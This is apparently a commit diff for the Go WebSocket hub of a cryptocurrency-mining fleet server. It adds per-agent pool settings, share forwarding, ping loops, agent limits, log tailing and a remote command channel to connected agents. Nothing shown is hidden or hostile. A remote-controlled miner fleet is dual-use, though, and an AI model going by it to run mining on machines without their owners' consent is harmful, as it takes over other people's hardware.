Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
@@ -2,17 +2,18 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/gorilla/websocket"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"github.com/google/uuid"
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
var upgrader = websocket.Upgrader{
|
||||
@@ -44,55 +45,132 @@ type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
dashboards map[string]*websocket.Conn
|
||||
poolProxy *pool.Proxy
|
||||
defaultAgent AgentDefaults
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
type AgentDefaults struct {
|
||||
Threads int
|
||||
CPUPriority string
|
||||
poolManager *pool.Manager
|
||||
defaultPool pool.Config
|
||||
aiHandler *AIHandler
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentLogs map[string]string
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
return &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*websocket.Conn),
|
||||
defaultAgent: AgentDefaults{Threads: 4, CPUPriority: "below_normal"},
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*websocket.Conn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentLogs: make(map[string]string),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) SetDefaultAgentConfig(cfg interface{}) {
|
||||
type defaults struct {
|
||||
Threads int `json:"threads"`
|
||||
CPUPriority string `json:"cpu_priority"`
|
||||
}
|
||||
if cfg == nil {
|
||||
return
|
||||
}
|
||||
data, err := json.Marshal(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var d defaults
|
||||
if err := json.Unmarshal(data, &d); err != nil {
|
||||
return
|
||||
}
|
||||
if d.Threads <= 0 {
|
||||
d.Threads = 4
|
||||
}
|
||||
if d.CPUPriority == "" {
|
||||
d.CPUPriority = "below_normal"
|
||||
}
|
||||
func (h *WSHub) SetServerPolicy(p ServerPolicy) {
|
||||
h.mu.Lock()
|
||||
h.defaultAgent = AgentDefaults{Threads: d.Threads, CPUPriority: d.CPUPriority}
|
||||
h.serverPolicy = p
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetPoolProxy sets the pool proxy for share submission forwarding
|
||||
func (h *WSHub) SetPoolProxy(proxy *pool.Proxy) {
|
||||
h.poolProxy = proxy
|
||||
func (h *WSHub) SetPingInterval(seconds int) {
|
||||
if seconds < 10 {
|
||||
seconds = 30
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.pingIntervalSec = seconds
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) pingInterval() time.Duration {
|
||||
h.mu.RLock()
|
||||
sec := h.pingIntervalSec
|
||||
h.mu.RUnlock()
|
||||
if sec < 10 {
|
||||
sec = 30
|
||||
}
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
conn.SetPongHandler(func(string) error {
|
||||
return conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
})
|
||||
|
||||
for range ticker.C {
|
||||
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.serverPolicy
|
||||
}
|
||||
|
||||
func (h *WSHub) connectedAgentCount() int {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return len(h.agents)
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentConnected(agentID string) bool {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
_, ok := h.agents[agentID]
|
||||
return ok
|
||||
}
|
||||
|
||||
func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
|
||||
h.mu.Lock()
|
||||
h.poolManager = manager
|
||||
h.defaultPool = defaultCfg
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetAIHandler(ai *AIHandler) {
|
||||
h.mu.Lock()
|
||||
h.aiHandler = ai
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
cfg := h.agentConfigs[agentID]
|
||||
poolCfg := pool.Config{
|
||||
Host: cfg.poolHostOrDefault(h.defaultPool.Host),
|
||||
Port: cfg.poolPortOrDefault(h.defaultPool.Port),
|
||||
Wallet: cfg.Wallet,
|
||||
}
|
||||
if cfg.PoolHost == "" {
|
||||
poolCfg.UseTLS = h.defaultPool.UseTLS
|
||||
} else {
|
||||
poolCfg.UseTLS = cfg.PoolTLS
|
||||
}
|
||||
if cfg.PoolPass != "" {
|
||||
poolCfg.Password = cfg.PoolPass
|
||||
} else if h.defaultPool.Password != "" {
|
||||
poolCfg.Password = h.defaultPool.Password
|
||||
} else {
|
||||
poolCfg.Password = "x"
|
||||
}
|
||||
if poolCfg.Wallet == "" {
|
||||
poolCfg.Wallet = h.defaultPool.Wallet
|
||||
}
|
||||
return poolCfg
|
||||
}
|
||||
|
||||
func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.agents[agentID]
|
||||
}
|
||||
|
||||
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -102,15 +180,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
|
||||
agentID := ""
|
||||
defer func() {
|
||||
if agentID != "" {
|
||||
h.mu.Lock()
|
||||
delete(h.agents, agentID)
|
||||
delete(h.agentConfigs, agentID)
|
||||
h.mu.Unlock()
|
||||
if h.aiHandler != nil {
|
||||
h.aiHandler.RemoveEngine(agentID)
|
||||
}
|
||||
h.db.SetAgentOffline(agentID)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_offline",
|
||||
Type: "agent_offline",
|
||||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||||
})
|
||||
}
|
||||
@@ -133,13 +217,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
switch msg.Type {
|
||||
case "auth":
|
||||
var auth struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Wallet string `json:"wallet"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
Worker string `json:"worker"`
|
||||
CPUCores int `json:"cpu_cores"`
|
||||
MemoryGB int `json:"memory_gb"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Wallet string `json:"wallet"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
Worker string `json:"worker"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
CPUCores int `json:"cpu_cores"`
|
||||
MemoryGB int `json:"memory_gb"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
PoolPass string `json:"pool_pass"`
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -153,7 +245,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
agentID = uuid.New().String()
|
||||
}
|
||||
|
||||
displayName := auth.Worker
|
||||
displayName := auth.WorkerName
|
||||
if displayName == "" {
|
||||
displayName = auth.Worker
|
||||
}
|
||||
if displayName == "" {
|
||||
displayName = auth.Hostname
|
||||
}
|
||||
@@ -161,6 +256,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
displayName = agentID[:8]
|
||||
}
|
||||
|
||||
policy := h.serverPolicySnapshot()
|
||||
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
continue
|
||||
}
|
||||
|
||||
forgeCfg := AgentForgeConfig{
|
||||
Wallet: auth.Wallet,
|
||||
PoolHost: auth.PoolHost,
|
||||
PoolPort: auth.PoolPort,
|
||||
PoolTLS: auth.PoolTLS,
|
||||
PoolPass: auth.PoolPass,
|
||||
AIEnabled: auth.AIEnabled,
|
||||
AIOllamaEndpoint: auth.AIOllamaEndpoint,
|
||||
AIModel: auth.AIModel,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.agentConfigs[agentID] = forgeCfg
|
||||
h.mu.Unlock()
|
||||
|
||||
if h.poolManager != nil {
|
||||
poolCfg := h.agentPoolConfig(agentID)
|
||||
if poolCfg.Password == "" {
|
||||
poolCfg.Password = "x"
|
||||
}
|
||||
if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
|
||||
log.Printf("[WS] Failed to ensure forged pool for agent %s: %v", agentID, err)
|
||||
}
|
||||
}
|
||||
|
||||
if h.aiHandler != nil && forgeCfg.AIEnabled {
|
||||
h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
|
||||
}
|
||||
|
||||
clientIP := r.Header.Get("X-Forwarded-For")
|
||||
if clientIP == "" {
|
||||
clientIP = r.RemoteAddr
|
||||
@@ -183,27 +315,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
if err := h.db.UpsertAgent(agent); err != nil {
|
||||
log.Printf("Failed to upsert agent: %v", err)
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "database error",
|
||||
})})
|
||||
continue
|
||||
}
|
||||
|
||||
if policy.LogAgentConnections {
|
||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
|
||||
h.mu.Unlock()
|
||||
|
||||
h.mu.RLock()
|
||||
defaults := h.defaultAgent
|
||||
h.mu.RUnlock()
|
||||
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
"config": map[string]interface{}{
|
||||
"threads": defaults.Threads,
|
||||
"priority": defaults.CPUPriority,
|
||||
},
|
||||
})})
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_online",
|
||||
Type: "agent_online",
|
||||
Payload: mustMarshal(agent),
|
||||
})
|
||||
|
||||
@@ -236,10 +368,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats_update",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
}),
|
||||
})
|
||||
@@ -251,39 +383,92 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
share.AgentID = agentID
|
||||
share.Timestamp = time.Now()
|
||||
share.Accepted = false
|
||||
|
||||
// Forward share to pool proxy if connected
|
||||
if h.poolProxy != nil && h.poolProxy.IsConnected() {
|
||||
h.poolProxy.SubmitShare(agentID, share.JobID, share.Nonce, share.Hash)
|
||||
share.Accepted = true // Pool will validate; we assume accepted initially
|
||||
} else {
|
||||
// Pool not connected - mark as accepted locally for testing
|
||||
share.Accepted = true
|
||||
log.Printf("[WS] Pool not connected, marking share as accepted locally")
|
||||
}
|
||||
|
||||
if err := h.db.InsertShare(&share); err != nil {
|
||||
shareID, err := h.db.InsertShare(&share)
|
||||
if err != nil {
|
||||
log.Printf("Failed to insert share: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
conn.WriteJSON(Message{Type: "share_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"job_id": share.JobID,
|
||||
"accepted": share.Accepted,
|
||||
})})
|
||||
sendShareResult := func(accepted bool, errMsg string) {
|
||||
share.Accepted = accepted
|
||||
share.Error = errMsg
|
||||
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
|
||||
log.Printf("Failed to update share result: %v", err)
|
||||
}
|
||||
if h.serverPolicySnapshot().LogShareSubmissions {
|
||||
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
|
||||
}
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "new_share",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"accepted": share.Accepted,
|
||||
"hash": share.Hash,
|
||||
}),
|
||||
})
|
||||
agentConn := h.getAgentConn(agentID)
|
||||
if agentConn != nil {
|
||||
result := map[string]interface{}{
|
||||
"job_id": share.JobID,
|
||||
"accepted": accepted,
|
||||
}
|
||||
if errMsg != "" {
|
||||
result["error"] = errMsg
|
||||
}
|
||||
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
|
||||
}
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "new_share",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"id": shareID,
|
||||
"agent_id": agentID,
|
||||
"job_id": share.JobID,
|
||||
"accepted": accepted,
|
||||
"hash": share.Hash,
|
||||
"nonce": share.Nonce,
|
||||
"error": errMsg,
|
||||
"timestamp": share.Timestamp,
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
if h.poolManager == nil {
|
||||
sendShareResult(false, "pool manager not configured")
|
||||
continue
|
||||
}
|
||||
|
||||
poolCfg := h.agentPoolConfig(agentID)
|
||||
proxy := h.poolManager.GetPool(&poolCfg)
|
||||
if proxy == nil {
|
||||
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
|
||||
proxy = p
|
||||
} else {
|
||||
sendShareResult(false, "pool not connected: "+err.Error())
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if !proxy.IsConnected() {
|
||||
sendShareResult(false, "pool not connected")
|
||||
continue
|
||||
}
|
||||
|
||||
wallet := poolCfg.Wallet
|
||||
if wallet == "" {
|
||||
wallet = h.defaultPool.Wallet
|
||||
}
|
||||
|
||||
proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
|
||||
|
||||
case "get_job":
|
||||
// Agent requesting current job from pool
|
||||
if h.poolProxy != nil {
|
||||
job := h.poolProxy.GetCurrentJob()
|
||||
var proxy *pool.Proxy
|
||||
if h.poolManager != nil {
|
||||
poolCfg := h.agentPoolConfig(agentID)
|
||||
proxy = h.poolManager.GetPool(&poolCfg)
|
||||
if proxy == nil {
|
||||
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
|
||||
proxy = p
|
||||
}
|
||||
}
|
||||
}
|
||||
if proxy != nil {
|
||||
job := proxy.GetCurrentJob()
|
||||
if job != nil {
|
||||
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
|
||||
} else {
|
||||
@@ -292,6 +477,30 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
} else {
|
||||
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})})
|
||||
}
|
||||
|
||||
case "log_tail":
|
||||
var payload struct {
|
||||
Content string `json:"content"`
|
||||
Lines int `json:"lines"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.agentLogs[agentID] = payload.Content
|
||||
h.mu.Unlock()
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_log",
|
||||
Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
|
||||
})
|
||||
|
||||
case "command_result":
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -324,6 +533,8 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
"stats": stats,
|
||||
})})
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
|
||||
// Keep connection alive, read close messages
|
||||
for {
|
||||
_, _, err := conn.ReadMessage()
|
||||
@@ -346,6 +557,7 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||
conn.Close()
|
||||
id := id
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
delete(h.dashboards, id)
|
||||
@@ -372,11 +584,38 @@ func (h *WSHub) BroadcastToAgents(msg Message) {
|
||||
}
|
||||
}
|
||||
|
||||
// mustMarshalRaw marshals a value to json.RawMessage, panicking on error
|
||||
func mustMarshalRaw(v interface{}) json.RawMessage {
|
||||
data, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
// SendToAgent sends a message to one connected agent.
|
||||
func (h *WSHub) SendToAgent(agentID string, msg Message) error {
|
||||
agent := h.getAgentConn(agentID)
|
||||
if agent == nil {
|
||||
return fmt.Errorf("agent %s not connected", agentID)
|
||||
}
|
||||
return data
|
||||
return agent.SendJSON(msg)
|
||||
}
|
||||
|
||||
// SendAgentCommand sends a remote command to an agent.
|
||||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
|
||||
func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.agentLogs[agentID]
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastPoolStatus(status interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastAIActivity(entry interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user